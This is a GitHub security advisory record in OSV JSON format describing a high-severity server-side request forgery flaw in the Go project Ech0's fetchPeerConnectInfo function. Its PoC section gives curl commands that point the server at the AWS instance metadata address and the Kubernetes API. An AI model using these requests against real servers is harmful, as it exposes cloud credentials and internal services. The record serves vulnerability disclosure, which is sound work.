{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lin-snow/ech0"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.8-0.20260503040602-091d26d2d942"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T21:28:40Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nThe `fetchPeerConnectInfo` function in `internal/service/connect/connect.go:214-239` uses `httpUtil.SendRequest` (no SSRF protection) instead of `SendSafeRequest` (which has `ValidatePublicHTTPURL` with private IP blocking). This allows authenticated users to make the server request arbitrary URLs including internal/cloud metadata endpoints.\n\n## Details\nIn `internal/service/connect/connect.go`, the `fetchPeerConnectInfo` function:\n```go\nfunc fetchPeerConnectInfo(peerConnectURL string, requestTimeout time.Duration) (model.Connect, error) {\n    url := httpUtil.TrimURL(peerConnectURL) + \"/api/connect\"\n    resp, err := httpUtil.SendRequest(url, \"GET\", struct {...}{...}, requestTimeout)\n```\n\nThis uses `SendRequest` which has NO URL validation. The codebase HAS `SendSafeRequest` at `internal/util/http/http.go:228-281` with proper SSRF protection, but `fetchPeerConnectInfo` does not use it.\n\nCalled from:\n- Line 307: `data, err := fetchPeerConnectInfo(conn.ConnectURL, requestTimeout)`\n- - Line 498: `data, err := fetchPeerConnectInfo(conn.ConnectURL, healthProbeTimeout)`\n## PoC\n```bash\n# 1. Add a connection pointing to AWS metadata service\ncurl -X POST \"https://ech0.example.com/api/connects\" \\\n  -H \"Authorization: Bearer \u003ctoken\u003e\" \\\n  -d \u0027{\"connect_url\": \"http://169.254.169.254/latest/meta-data/instance-id\"}\u0027\n\n# 2. Trigger SSRF via health check\ncurl -H \"Authorization: Bearer \u003ctoken\u003e\" \\\n  \"https://ech0.example.com/api/connects/health\"\n# Returns AWS EC2 instance ID\n```\n\nOr for Kubernetes:\n```bash\ncurl -X POST \"https://ech0.example.com/api/connects\" \\\n  -H \"Authorization: Bearer \u003ctoken\u003e\" \\\n  -d \u0027{\"connect_url\": \"http://kubernetes.default.svc.cluster.local:443/api\"}\u0027\n```\n\n## Impact\n- **Confidentiality**: SSRF can access internal services, cloud metadata (AWS IMDSv1, GCE metadata), Kubernetes API\n- - **CWE-918**: Server-Side Request Forgery",
  "id": "GHSA-8mc6-xjpr-h98x",
  "modified": "2026-05-07T21:28:40Z",
  "published": "2026-05-07T21:28:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-8mc6-xjpr-h98x"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lin-snow/Ech0/commit/091d26d2d942df6df9f520328d2f9cf2592bbefc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lin-snow/Ech0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Ech0 has Server-Side Request Forgery (SSRF) via Connect Handler fetchPeerConnectInfo"
}